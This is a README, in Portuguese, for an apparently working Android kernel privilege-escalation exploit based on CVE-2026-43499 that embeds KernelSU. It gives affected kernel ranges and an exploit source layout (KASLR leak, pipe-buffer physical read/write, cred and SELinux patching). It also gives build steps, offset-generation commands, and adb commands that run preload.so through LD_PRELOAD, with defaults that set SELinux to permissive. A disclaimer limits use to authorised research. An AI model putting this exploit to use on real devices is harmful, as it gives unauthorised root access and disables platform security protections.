# CVE-2026-43499-root-KernelSU

Adaptação de escalonamento local de privilégios baseada na vulnerabilidade de kernel CVE-2026-43499, com KernelSU embutido integrado. Compila e gera `preload.so`; após a exploração bem-sucedida, o KernelSU será iniciado no modo `late-load` (modo jailbreak). Suporta a geração de `target.h` a partir de `(xbl_config.img / vendor_boot.img) + boot.img` ou por outros meios.

Projetos de referência:

- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)

>[!IMPORTANT]
>A exploração não autorizada de vulnerabilidades para danificar, comprometer ou obter acesso a sistemas de computador é proibida por lei. Este projeto é fornecido estritamente para fins de pesquisa, educacionais e de aprendizado, e só pode ser usado em sistemas e ambientes para os quais foi concedida autorização prévia. Qualquer uso deste projeto é feito por conta e risco do usuário. Os autores e contribuidores não assumem nenhuma responsabilidade por qualquer uso indevido deste projeto ou por quaisquer danos, perdas ou consequências legais resultantes do seu uso.
>
>Aviso legal: o uso não autorizado de vulnerabilidades para danificar, invadir ou acessar sistemas de computador sem autorização pode violar leis e regulamentos aplicáveis. Este projeto é limitado estritamente a fins de pesquisa de segurança, aprendizado e teste em sistemas e ambientes para os quais foi concedida autorização legal. Quaisquer perdas diretas ou indiretas, responsabilidades legais e outras consequências resultantes do uso, abuso ou modificação deste projeto são de responsabilidade exclusiva do usuário; os autores e contribuidores do projeto não assumem nenhuma responsabilidade.

## Escopo de impacto

**Quando sua versão do kernel é {Linux Kernel}, ela está dentro do escopo de impacto desta vulnerabilidade**

- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**

- **2.6.39** <=  {Linux Kernel} < **6.1.175**
- **6.2** <=  {Linux Kernel} < **6.6.140**
- **6.7** <=  {Linux Kernel} < **6.12.86**
- **6.13** <=  {Linux Kernel} < **6.18.27**
- **6.19** <=  {Linux Kernel} < **7.0.4**


## Status atual

| Target | Status |
| --- | --- |
| `rodin` (padrão) | Verificado |
| Outros `src/targets/*` | Referência |

## Estrutura de diretórios

```text
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # Binário userspace do KernelSU embutido no preload.so
├── tools/
│   ├── generate_target.py       # Ponto de entrada unificado para geração de target.h deste repositório
│   └── vendor/                  # Scripts auxiliares de geração originais sincronizados do diretório pai
└── src/
    ├── main.c                   # Fluxo principal do exploit
    ├── preload.c                # Construtor LD_PRELOAD + gravação/inicialização do ksud
    ├── root.c                   # Patch de cred/seccomp/SELinux/root
    ├── slide.c                  # Vazamento de slide KASLR via pselect
    ├── fops.c                   # Rota pselect/FOPS
    ├── pipe.c                   # Primitiva física R/W via pipe-buffer
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # Auxiliares KernelSnitch
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...
```

## Compilação


### Dependências

- Host Linux
- Android NDK
  - Caminho padrão: `~/android-ndk-r29`
  - Ou defina: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`

### Compilar

```bash
make PROJECT=<target> -j$(nproc)
```

Saída:

```text
build/<target>/bin/preload.so
```

### Listar targets disponíveis

```bash
make list-projects
```

## Gerar target.h

Este repositório já inclui o script unificado de geração de target:

```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```

`tools/generate_target.py` é o script de entrada. Ele referencia e encapsula todos os fluxos de geração de target do diretório pai e, por fim, gera o `src/targets/<project>/target.h` completo, adaptado ao código-fonte deste repositório.

O script não valida obrigatoriamente `CONFIG_DEBUG_INFO_BTF=y` no IKCONFIG. Se os offsets dos campos de estrutura ou o layout do percpu `entry_task` não puderem ser verificados, ele exibirá um aviso e continuará a geração.

Se não houver BTF utilizável na imagem, por exemplo, quando aparecer:

```text
Candidatos válidos de vmlinux BTF não únicos: []
```

O gerador entrará no **fallback sem BTF**:

- Continua recuperando os offsets de símbolos de funções/objetos globais a partir do kallsyms do `boot.img` atual;
- Macros de campos de estrutura/layout que não podem ser recuperados do BTF herdarão do target de modelo, cujo padrão é `rodin`;
- Um aviso será gravado no topo do header gerado, indicando `without BTF` e o modelo usado;
- Esse header garante que a compilação seja possível na medida do possível, mas a confiabilidade em tempo de execução precisa ser validada em hardware real.

Você pode especificar o modelo de fallback:

```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# ou
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```

#### 1. Gerar usando boot.img + profile JSON

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```

Grava por padrão em:

```text
src/targets/<project>/target.h
```

Você também pode chamar o script diretamente:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```

O `profile.json` precisa conter informações de endereço físico, por exemplo:

```json
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}
```

#### 2. Detectar profile de um dispositivo ADB já com root

Gerar apenas o profile:

```bash
make detect-profile PROFILE_OUT=profile.json
```

Detectar o profile e gerar o target imediatamente:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json
```

#### 3. Geração com (xbl_config.img / vendor_boot.img) + boot.img

O script também expõe outras entradas suportadas pelo gerador do diretório pai:

```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```

##### Exemplos

```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```

Formato de saída bem-sucedida:

```text
Geração bem-sucedida: .../src/targets/<project>/target.h
SHA-256 do kernel: <sha256>
macros do target: 168
```

O `rodin` manterá por padrão o valor verificado em hardware real:

```c
#define MM_STRUCT_SZ 0x500
```

Para sobrescrever:

```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```

## Adicionar novo target

Recomenda-se gerar a partir da boot image e do profile correspondentes:

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```

Um header de target completo incluirá:

- Constantes de direct map / profile físico
- Offsets de objetos do slide KASLR
- Offsets de task / cred / SELinux
- Offsets de pipe / fops / configfs
- Valores de layout do pselect, por exemplo, `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` e valores de ajuste do KernelSnitch

## Execução

O código-fonte atual já contém valores padrão gravados; para execução normal, basta definir `LD_PRELOAD` e executar qualquer programa (recomenda-se `toybox id`).

```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Parâmetros padrão de execução

A configuração padrão atual é a seguinte:

| Configuração | Valor padrão | Descrição |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | Executa `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | Passa `--allow-shell` |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | Nome do pacote do gerenciador passado ao ksud (aparentemente sem efeito) |
| `KSUD_DST` | `/data/local/tmp/ksud` | Caminho de gravação do ksud embutido |
| `KSUD_SKIP_WRITE` | `0` | Grava o ksud embutido por padrão |
| `KSUD_DEFER_TO_PARENT` | `1` | Inicia o ksud a partir do caminho do processo pai/atual já com patch |
| `ROOT_PATCH_SELF` | `1` | Aplica patch no processo atual para uid 0 |
| `DISABLE_SELINUX` | `1` | Define o SELinux enforcing como permissive durante o patch de root |
| `ROOT_EXIT_SLEEP` | não definido / `0` | Sem sleep adicional antes de retornar |

O comando ksud realmente executado por padrão é:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

Essas variáveis de ambiente ainda podem ser sobrescritas em tempo de execução, por exemplo:

```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

Reutilizando o `ksud` já gravado:

```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Limpeza

```bash
make clean
```

O `make clean` preserva `build/embed/ksud`, pois `src/ksud_blob.S` o embute da seguinte forma:

```asm
.incbin "build/embed/ksud"
```

Se uma limpeza manual fizer com que `build/embed/ksud` seja perdido, você pode restaurá-lo:

```bash
git checkout -- build/embed/ksud
```

## Perguntas frequentes

### `.incbin "build/embed/ksud"` não encontrado

Restaure o payload embutido e recompile:

```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```

### A rota FOPS retorna `success=0`

O `rodin` espera usar o layout pselect legado/simples:

```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```

Se o estado do dispositivo estiver poluído por tentativas com falha, reinicie e tente novamente:

```bash
adb reboot
```

### `F_SETPIPE_SZ` retorna `EPERM`

Geralmente é um problema de estado causado por tentativas com falha/residuais; reiniciar é a forma mais rápida de limpar:

```bash
adb reboot
```

### `ksud` inicia, mas `/proc/modules` não mostra o KernelSU

Verifique os logs:

```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```

Se necessário, execute manualmente em um shell root:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

## Licença

GPL-3.0. Consulte [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE).
Baixar ferramenta
CVE-2026-43499-root-KernelSU

Mais Populares
